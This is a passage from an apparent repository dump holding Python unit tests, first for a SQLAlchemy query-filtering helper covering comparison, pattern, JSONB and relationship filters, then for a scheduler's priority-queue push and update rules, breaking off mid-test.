height=1.2,\n            is_active=True,\n            data={\"foo\": \"bar\", \"score\": 45, \"nested\": {\"bar\": \"baz\"}},\n            parent_id=alice.id,\n        )\n\n        erin = TestModelChild(\n            name=\"Erin\",\n            age=6,\n            height=1.3,\n            is_active=True,\n            data={\"foo\": \"baz\", \"score\": 55, \"nested\": {\"bar\": \"baz\"}},\n            parent_id=alice.id,\n        )\n\n        session.add_all([david, erin])\n\n        self.models = {\"alice\": alice, \"bob\": bob, \"charlie\": charlie, \"david\": david, \"erin\": erin}\n\n        session.commit()\n\n    def tearDown(self):\n        session.query(TestModel).delete()\n        session.commit()\n\n    def test_apply_filter_basic(self):\n        filter_request = FilterRequest(\n            filters={\n                \"and\": [\n                    Filter(column=\"name\", operator=\"eq\", value=\"Alice\"),\n                    Filter(column=\"age\", operator=\"eq\", value=25),\n                    Filter(column=\"height\", operator=\"eq\", value=1.8),\n                    Filter(column=\"is_active\", operator=\"eq\", value=True),\n                ]\n            }\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Alice\")\n\n    def test_apply_filter_nested_fields(self):\n        filter_request = FilterRequest(\n            filters={\n                \"and\": [\n                    Filter(column=\"name\", operator=\"eq\", value=\"Alice\"),\n                    Filter(column=\"data\", field=\"foo\", operator=\"eq\", value=\"bar\"),\n                ]\n            }\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Alice\")\n\n    def test_apply_filter_casting(self):\n        filter_request = FilterRequest(\n            filters={\n                \"and\": [\n                    Filter(column=\"name\", operator=\"eq\", value=\"Alice\"),\n                    Filter(column=\"age\", operator=\"eq\", value=\"25\"),\n                    Filter(column=\"height\", operator=\"eq\", value=\"1.8\"),\n                    Filter(column=\"is_active\", operator=\"eq\", value=\"True\"),\n                ]\n            }\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Alice\")\n\n    def test_apply_filter_empty_filter_request(self):\n        filter_request = FilterRequest(filters={})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n        self.assertEqual(len(results), 3)\n\n    def test_apply_filter_or(self):\n        filter_request = FilterRequest(\n            filters={\n                \"or\": [\n                    Filter(column=\"name\", operator=\"eq\", value=\"Alice\"),\n                    Filter(column=\"name\", operator=\"eq\", value=\"Bob\"),\n                ]\n            }\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n        self.assertEqual(len(results), 2)\n        self.assertEqual(results[0].name, \"Alice\")\n        self.assertEqual(results[1].name, \"Bob\")\n\n    def test_apply_filter_and(self):\n        filter_request = FilterRequest(\n            filters={\n                \"and\": [\n                    Filter(column=\"name\", operator=\"eq\", value=\"Alice\"),\n                    Filter(column=\"age\", operator=\"eq\", value=25),\n                ]\n            }\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Alice\")\n\n    def test_apply_filter_not(self):\n        filter_request = FilterRequest(filters={\"not\": [Filter(column=\"name\", operator=\"eq\", value=\"Alice\")]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n        self.assertEqual(len(results), 2)\n        self.assertEqual(results[0].name, \"Bob\")\n        self.assertEqual(results[1].name, \"Charlie\")\n\n    def test_apply_filter_numeric(self):\n        filter_request = FilterRequest(\n            filters={\n                \"and\": [\n                    Filter(column=\"age\", operator=\"gt\", value=25),\n                    Filter(column=\"height\", operator=\"lt\", value=1.7),\n                ]\n            }\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Charlie\")\n\n    def test_apply_filter_string(self):\n        filter_request = FilterRequest(\n            filters={\n                \"and\": [\n                    Filter(column=\"name\", operator=\"like\", value=\"A%\"),\n                    Filter(column=\"name\", operator=\"like\", value=\"%ce\"),\n                ]\n            }\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Alice\")\n\n    def test_apply_filter_boolean(self):\n        filter_request = FilterRequest(\n            filters={\n                \"and\": [\n                    Filter(column=\"is_active\", operator=\"==\", value=True),\n                    Filter(column=\"is_active\", operator=\"!=\", value=False),\n                ]\n            }\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n\n        self.assertEqual(len(results), 2)\n        self.assertEqual(results[0].name, \"Alice\")\n        self.assertEqual(results[1].name, \"Charlie\")\n\n    def test_apply_filter_eq(self):\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"name\", operator=\"eq\", value=\"Alice\")]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Alice\")\n\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"name\", operator=\"==\", value=\"Alice\")]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Alice\")\n\n    def test_apply_filter_json_eq(self):\n        filter_request = FilterRequest(\n            filters={\"and\": [Filter(column=\"data\", field=\"foo\", operator=\"eq\", value=\"bar\")]}\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n\n        self.assertEqual(len(results), 2)\n        self.assertEqual(results[0].name, \"Alice\")\n        self.assertEqual(results[1].name, \"Charlie\")\n\n        filter_request = FilterRequest(\n            filters={\"and\": [Filter(column=\"data\", field=\"foo\", operator=\"==\", value=\"bar\")]}\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n\n        self.assertEqual(len(results), 2)\n        self.assertEqual(results[0].name, \"Alice\")\n        self.assertEqual(results[1].name, \"Charlie\")\n\n    def test_apply_filter_ne(self):\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"name\", operator=\"ne\", value=\"Alice\")]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n\n        self.assertEqual(len(results), 2)\n        self.assertEqual(results[0].name, \"Bob\")\n        self.assertEqual(results[1].name, \"Charlie\")\n\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"name\", operator=\"!=\", value=\"Alice\")]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n        self.assertEqual(len(results), 2)\n        self.assertEqual(results[0].name, \"Bob\")\n        self.assertEqual(results[1].name, \"Charlie\")\n\n    def test_apply_filter_json_ne(self):\n        filter_request = FilterRequest(\n            filters={\"and\": [Filter(column=\"data\", field=\"foo\", operator=\"ne\", value=\"bar\")]}\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Bob\")\n\n        filter_request = FilterRequest(\n            filters={\"and\": [Filter(column=\"data\", field=\"foo\", operator=\"!=\", value=\"bar\")]}\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Bob\")\n\n    def test_apply_filter_is(self):\n        filter_request = FilterRequest(filters=[Filter(column=\"is_active\", operator=\"is\", value=True)])\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n        self.assertEqual(len(results), 2)\n        self.assertIn(\"Alice\", [r.name for r in results])\n        self.assertIn(\"Charlie\", [r.name for r in results])\n\n    def test_apply_filter_is_not(self):\n        filter_request = FilterRequest(filters=[Filter(column=\"is_active\", operator=\"is_not\", value=True)])\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n        self.assertEqual(len(results), 1)\n        self.assertIn(\"Bob\", [r.name for r in results])\n\n    def test_apply_filter_gt(self):\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"age\", operator=\"gt\", value=25)]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.order_by(TestModel.age).all()\n\n        self.assertEqual(len(results), 2)\n        self.assertIn(\"Bob\", [r.name for r in results])\n        self.assertIn(\"Charlie\", [r.name for r in results])\n\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"age\", operator=\">\", value=25)]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.order_by(TestModel.age).all()\n\n        self.assertEqual(len(results), 2)\n        self.assertIn(\"Bob\", [r.name for r in results])\n        self.assertIn(\"Charlie\", [r.name for r in results])\n\n    def test_apply_filter_json_gt(self):\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"data\", field=\"score\", operator=\"gt\", value=25)]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Charlie\")\n\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"data\", field=\"score\", operator=\">\", value=25)]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Charlie\")\n\n    def test_apply_filter_gte(self):\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"age\", operator=\"gte\", value=25)]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.order_by(TestModel.age).all()\n\n        self.assertEqual(len(results), 3)\n        self.assertIn(\"Alice\", [r.name for r in results])\n        self.assertIn(\"Bob\", [r.name for r in results])\n        self.assertIn(\"Charlie\", [r.name for r in results])\n\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"age\", operator=\">=\", value=25)]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.order_by(TestModel.age).all()\n\n        self.assertEqual(len(results), 3)\n        self.assertIn(\"Alice\", [r.name for r in results])\n        self.assertIn(\"Bob\", [r.name for r in results])\n        self.assertIn(\"Charlie\", [r.name for r in results])\n\n    def test_apply_filter_json_gte(self):\n        filter_request = FilterRequest(\n            filters={\"and\": [Filter(column=\"data\", field=\"score\", operator=\"gte\", value=25)]}\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n\n        self.assertEqual(len(results), 2)\n        self.assertIn(\"Bob\", [r.name for r in results])\n        self.assertIn(\"Charlie\", [r.name for r in results])\n\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"data\", field=\"score\", operator=\">=\", value=25)]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n\n        self.assertEqual(len(results), 2)\n        self.assertIn(\"Bob\", [r.name for r in results])\n        self.assertIn(\"Charlie\", [r.name for r in results])\n\n    def test_apply_filter_lt(self):\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"age\", operator=\"lt\", value=28)]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.order_by(TestModel.age).all()\n\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Alice\")\n\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"age\", operator=\"<\", value=28)]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.order_by(TestModel.age).all()\n\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Alice\")\n\n    def test_apply_filter_json_lt(self):\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"data\", field=\"score\", operator=\"lt\", value=25)]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Alice\")\n\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"data\", field=\"score\", operator=\"<\", value=25)]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Alice\")\n\n    def test_apply_filter_lte(self):\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"age\", operator=\"lte\", value=28)]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.order_by(TestModel.age).all()\n\n        self.assertEqual(len(results), 2)\n        self.assertIn(\"Alice\", [r.name for r in results])\n        self.assertIn(\"Charlie\", [r.name for r in results])\n\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"age\", operator=\"<=\", value=28)]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.order_by(TestModel.age).all()\n\n        self.assertEqual(len(results), 2)\n        self.assertIn(\"Alice\", [r.name for r in results])\n        self.assertIn(\"Charlie\", [r.name for r in results])\n\n    def test_apply_filter_json_lte(self):\n        filter_request = FilterRequest(\n            filters={\"and\": [Filter(column=\"data\", field=\"score\", operator=\"lte\", value=25)]}\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n\n        self.assertEqual(len(results), 2)\n        self.assertIn(\"Alice\", [r.name for r in results])\n        self.assertIn(\"Bob\", [r.name for r in results])\n\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"data\", field=\"score\", operator=\"<=\", value=25)]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n\n        self.assertEqual(len(results), 2)\n        self.assertIn(\"Alice\", [r.name for r in results])\n        self.assertIn(\"Bob\", [r.name for r in results])\n\n    def test_apply_filter_like(self):\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"name\", operator=\"like\", value=\"B%\")]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.order_by(TestModel.name).all()\n\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Bob\")\n\n    def test_apply_filter_json_like(self):\n        filter_request = FilterRequest(\n            filters={\"and\": [Filter(column=\"data\", field=\"foo\", operator=\"like\", value=\"%ar\")]}\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n        self.assertEqual(len(results), 2)\n        self.assertEqual(results[0].name, \"Alice\")\n        self.assertEqual(results[1].name, \"Charlie\")\n\n    def test_apply_filter_not_like(self):\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"name\", operator=\"not_like\", value=\"B%\")]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.order_by(TestModel.name).all()\n\n        self.assertEqual(len(results), 2)\n        self.assertIn(\"Alice\", [r.name for r in results])\n        self.assertIn(\"Charlie\", [r.name for r in results])\n\n    def test_apply_filter_json_not_like(self):\n        filter_request = FilterRequest(\n            filters={\"and\": [Filter(column=\"data\", field=\"foo\", operator=\"not_like\", value=\"%ar\")]}\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Bob\")\n\n    def test_apply_filter_ilike(self):\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"name\", operator=\"ilike\", value=\"B%\")]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.order_by(TestModel.name).all()\n\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Bob\")\n\n    def test_apply_filter_json_ilike(self):\n        filter_request = FilterRequest(\n            filters={\"and\": [Filter(column=\"data\", field=\"foo\", operator=\"ilike\", value=\"%AR\")]}\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n        self.assertEqual(len(results), 2)\n        self.assertIn(\"Alice\", [r.name for r in results])\n        self.assertIn(\"Charlie\", [r.name for r in results])\n\n    def test_apply_filter_not_ilike(self):\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"name\", operator=\"not_ilike\", value=\"B%\")]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.order_by(TestModel.name).all()\n\n        self.assertEqual(len(results), 2)\n        self.assertIn(\"Alice\", [r.name for r in results])\n        self.assertIn(\"Charlie\", [r.name for r in results])\n\n    def test_apply_filter_json_not_ilike(self):\n        filter_request = FilterRequest(\n            filters={\"and\": [Filter(column=\"data\", field=\"foo\", operator=\"not_ilike\", value=\"%AR\")]}\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Bob\")\n\n    def test_apply_filter_in(self):\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"name\", operator=\"in\", value=[\"Alice\", \"Bob\"])]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.order_by(TestModel.name).all()\n\n        self.assertEqual(len(results), 2)\n        self.assertEqual(results[0].name, \"Alice\")\n        self.assertEqual(results[1].name, \"Bob\")\n\n    def test_apply_filter_json_in(self):\n        filter_request = FilterRequest(\n            filters={\"and\": [Filter(column=\"data\", field=\"foo\", operator=\"in\", value=[\"bar\", \"baz\"])]}\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.order_by(TestModel.name).all()\n        self.assertEqual(len(results), 3)\n\n    def test_apply_filter_not_in(self):\n        filter_request = FilterRequest(\n            filters={\"and\": [Filter(column=\"name\", operator=\"not_in\", value=[\"Alice\", \"Bob\"])]}\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.order_by(TestModel.name).all()\n\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Charlie\")\n\n    def test_apply_filter_json_not_in(self):\n        filter_request = FilterRequest(\n            filters={\"and\": [Filter(column=\"data\", field=\"foo\", operator=\"not_in\", value=[\"bar\"])]}\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.order_by(TestModel.name).all()\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Bob\")\n\n    def test_apply_filter_contains(self):\n        filter_request = FilterRequest(filters={\"and\": [Filter(column=\"name\", operator=\"contains\", value=\"li\")]})\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.order_by(TestModel.name).all()\n\n        self.assertEqual(len(results), 2)\n        self.assertEqual(results[0].name, \"Alice\")\n\n    def test_apply_filter_json_contains(self):\n        filter_request = FilterRequest(\n            filters={\"and\": [Filter(column=\"data\", field=\"foo\", operator=\"contains\", value=\"ar\")]}\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.order_by(TestModel.name).all()\n        self.assertEqual(len(results), 2)\n        self.assertIn(\"Alice\", [r.name for r in results])\n        self.assertIn(\"Charlie\", [r.name for r in results])\n\n    def test_apply_filter_jsonb_contains(self):\n        filter_request = FilterRequest(filters=[Filter(column=\"data\", operator=\"@>\", value=json.dumps({\"foo\": \"bar\"}))])\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.order_by(TestModel.name).all()\n        self.assertEqual(len(results), 2)\n        self.assertEqual(results[0].name, \"Alice\")\n        self.assertEqual(results[1].name, \"Charlie\")\n\n    def test_apply_filter_jsonb_contains_list(self):\n        filter_request = FilterRequest(\n            filters=[Filter(column=\"data\", field=\"list\", operator=\"@>\", value=json.dumps([\"ipv4\"]))]\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.order_by(TestModel.name).all()\n        self.assertEqual(len(results), 3)\n        self.assertEqual(results[0].name, \"Alice\")\n        self.assertEqual(results[1].name, \"Bob\")\n        self.assertEqual(results[2].name, \"Charlie\")\n\n    def test_apply_filter_jsonb_contained_by_list(self):\n        filter_request = FilterRequest(\n            filters=[\n                Filter(column=\"data\", field=\"list\", operator=\"<@\", value=json.dumps([\"ipv4\", \"ipv6\", \"network/local\"]))\n            ]\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.order_by(TestModel.name).all()\n        self.assertEqual(len(results), 2)\n        self.assertEqual(results[0].name, \"Alice\")\n        self.assertEqual(results[1].name, \"Bob\")\n\n    def test_apply_filter_related(self):\n        filter_request = FilterRequest(\n            filters=[Filter(column=\"parent\", field=\"name\", operator=\"eq\", value=self.models.get(\"alice\").name)]\n        )\n\n        query = session.query(TestModelChild)\n        filtered_query = apply_filter(TestModelChild, query, filter_request)\n\n        results = filtered_query.order_by(TestModelChild.name).all()\n        self.assertEqual(len(results), 2)\n        self.assertEqual(results[0].name, \"David\")\n        self.assertEqual(results[1].name, \"Erin\")\n\n    def test_apply_filter_related_reversed(self):\n        filter_request = FilterRequest(\n            filters=[Filter(column=\"children\", field=\"name\", operator=\"eq\", value=self.models.get(\"david\").name)]\n        )\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Alice\")\n\n    def test_apply_filter_related_and_nested__(self):\n        filter_request = FilterRequest(\n            filters=[Filter(column=\"children\", field=\"data__foo\", operator=\"eq\", value=\"bar\")]\n        )\n\n        query = session.query(TestModel)\n        filtered_query = apply_filter(TestModel, query, filter_request)\n\n        results = filtered_query.all()\n        self.assertEqual(len(results), 1)\n        self.assertEqual(results[0].name, \"Alice\")\n\n    def test_apply_filter_related_and_nested_reversed(self):\n        filter_request = FilterRequest(filters=[Filter(column=\"parent\", field=\"data__foo\", operator=\"eq\", value=\"bar\")])\n\n        query = session.query(TestModelChild)\n        filtered_query = apply_filter(TestModelChild, query, filter_request)\n\n        results = filtered_query.all()\n        self.assertEqual(len(results), 2)\n        self.assertEqual(results[0].name, \"David\")\n        self.assertEqual(results[1].name, \"Erin\")\n"
  },
  {
    "path": "mula/tests/unit/test_queue.py",
    "content": "import copy\nimport queue as _queue\nimport threading\nimport time\nimport unittest\nimport uuid\n\nfrom scheduler import config, models, storage\nfrom scheduler.schedulers.queue import InvalidItemError, NotAllowedError\nfrom scheduler.storage import stores\n\nfrom tests.mocks import queue as mock_queue\nfrom tests.utils import functions\n\n\nclass PriorityQueueTestCase(unittest.TestCase):\n    def setUp(self) -> None:\n        cfg = config.settings.Settings()\n\n        # Database\n        self.dbconn = storage.DBConn(str(cfg.db_uri))\n        self.dbconn.connect()\n        models.Base.metadata.drop_all(self.dbconn.engine)\n        models.Base.metadata.create_all(self.dbconn.engine)\n\n        self.pq_store = stores.PriorityQueueStore(self.dbconn)\n\n        # Priority Queue\n        self.pq = mock_queue.MockPriorityQueue(\n            pq_id=\"test\", maxsize=10, item_type=functions.TestModel, pq_store=self.pq_store\n        )\n\n        self._check_queue_empty()\n\n    def tearDown(self) -> None:\n        models.Base.metadata.drop_all(self.dbconn.engine)\n        self.dbconn.engine.dispose()\n\n    def _check_queue_empty(self):\n        self.assertEqual(0, self.pq.qsize())\n\n    def test_push(self):\n        \"\"\"When adding an item to the priority queue, the item should be\n        added\"\"\"\n        item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=1)\n        self.pq.push(item)\n\n        item_db = self.pq_store.get(self.pq.pq_id, item.id)\n        self.assertIsNotNone(item_db)\n        self.assertEqual(item.id, item_db.id)\n\n        self.assertEqual(1, self.pq.qsize())\n\n    def test_push_incorrect_item_type(self):\n        \"\"\"When pushing an item that is not of the correct type, the item\n        shouldn't be pushed.\n        \"\"\"\n        item = {\"priority\": 1, \"data\": functions.TestModel(id=uuid.uuid4().hex, name=uuid.uuid4().hex)}\n\n        with self.assertRaises(InvalidItemError):\n            self.pq.push(item)\n\n        self.assertEqual(0, self.pq.qsize())\n\n    def test_push_invalid_item(self):\n        \"\"\"When pushing an item that can not be validated, the item shouldn't\n        be pushed.\n        \"\"\"\n        item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=1)\n        item.data = {\"invalid\": \"data\"}\n\n        with self.assertRaises(InvalidItemError):\n            self.pq.push(item)\n\n        self.assertEqual(0, self.pq.qsize())\n\n    def test_push_replace_not_allowed(self):\n        \"\"\"When pushing an item that is already in the queue the item\n        shouldn't be pushed.\n        \"\"\"\n        # Set queue to not allow duplicates\n        self.pq.allow_replace = False\n\n        # Add an item to the queue\n        initial_item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=1)\n        self.pq.push(initial_item)\n\n        self.assertEqual(1, self.pq.qsize())\n\n        # Add the same item again\n        with self.assertRaises(NotAllowedError):\n            self.pq.push(initial_item)\n\n        self.assertEqual(1, self.pq.qsize())\n\n    def test_push_replace_allowed(self):\n        \"\"\"When pushing an item that is already in the queue, but the queue\n        allows duplicates, the item should be pushed.\n        \"\"\"\n        # Set queue to allow duplicates\n        self.pq.allow_replace = True\n\n        # Add an item to the queue\n        initial_item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=1)\n        self.pq.push(initial_item)\n        self.assertEqual(1, self.pq.qsize())\n\n        # Add the same item again\n        self.pq.push(initial_item)\n        self.assertEqual(1, self.pq.qsize())\n\n        # Check if the item on the queue is the replaced item\n        updated_item = self.pq_store.get(self.pq.pq_id, initial_item.id)\n        self.assertEqual(initial_item.id, updated_item.id)\n\n    def test_push_updates_not_allowed(self):\n        \"\"\"When pushing an item that is already in the queue, and the item is\n        updated, the item shouldn't be pushed.\n        \"\"\"\n        # Set queue to not allow updates\n        self.pq.allow_updates = False\n\n        # Add an item to the queue\n        initial_item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=1)\n        self.pq.push(initial_item)\n        self.assertEqual(1, self.pq.qsize())\n\n        # Update the item\n        updated_item = copy.deepcopy(initial_item)\n        updated_item.data[\"name\"] = \"updated-name\"\n\n        # Add the same item again\n        with self.assertRaises(NotAllowedError):\n            self.pq.push(updated_item)\n\n        self.assertEqual(1, self.pq.qsize())\n\n        item_db = self.pq_store.get(self.pq.pq_id, initial_item.id)\n        self.assertNotEqual(updated_item.data[\"name\"], item_db.data[\"name\"])\n\n    def test_push_updates_allowed(self):\n        \"\"\"When pushing an item that is already in the queue, and the item is\n        updated, but the queue allows item updates, the item should be pushed.\n        \"\"\"\n        # Set queue to allow updates\n        self.pq.allow_updates = True\n\n        # Add an item to the queue\n        initial_item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=1)\n        self.pq.push(initial_item)\n\n        self.assertEqual(1, self.pq.qsize())\n\n        # Update the item\n        updated_item = copy.deepcopy(initial_item)\n        updated_item.data[\"name\"] = \"updated-name\"\n\n        # Add the same item again\n        self.pq.push(updated_item)\n\n        self.assertEqual(1, self.pq.qsize())\n\n        item_db = self.pq_store.get(self.pq.pq_id, initial_item.id)\n        self.assertEqual(updated_item.data[\"name\"], item_db.data[\"name\"])\n\n    def test_push_priority_updates_not_allowed(self):\n        \"\"\"When pushing an item that is already in the queue, and the item\n        priority is updated, the item shouldn't be pushed.\n        \"\"\"\n        # Set queue to disallow priority updates\n        self.pq.allow_priority_updates = False\n\n        # Add an item to the queue\n        initial_item = functions.create_task(scheduler_id=self.pq.pq_id, organisation=self.pq.pq_id, priority=1)\n        self.pq.push(initial_item)\n\n        self.assertEqual(1, self.pq.qsize())\n\n        # Update the item\n        updated_item = copy.deepcopy(initial_item)\n        updated_item.priority = 100\n\n        # Add the same item again\n        with self.assertRaises(NotAllowedError):\n            self.pq.push(updated_item)\n\n        self.assertEqual(1, self.pq.qsize())\n\n        item_db = self.pq_store.get(self.pq.pq_id, initial_item.id)\n        self.assertNotEqual(updated_item.priority, item_db.priority)\n\n    def test_push_priority_updates_allowed(self):\n        \"\"\"When pushing an item that is already in the queue, and the item\n        priority is 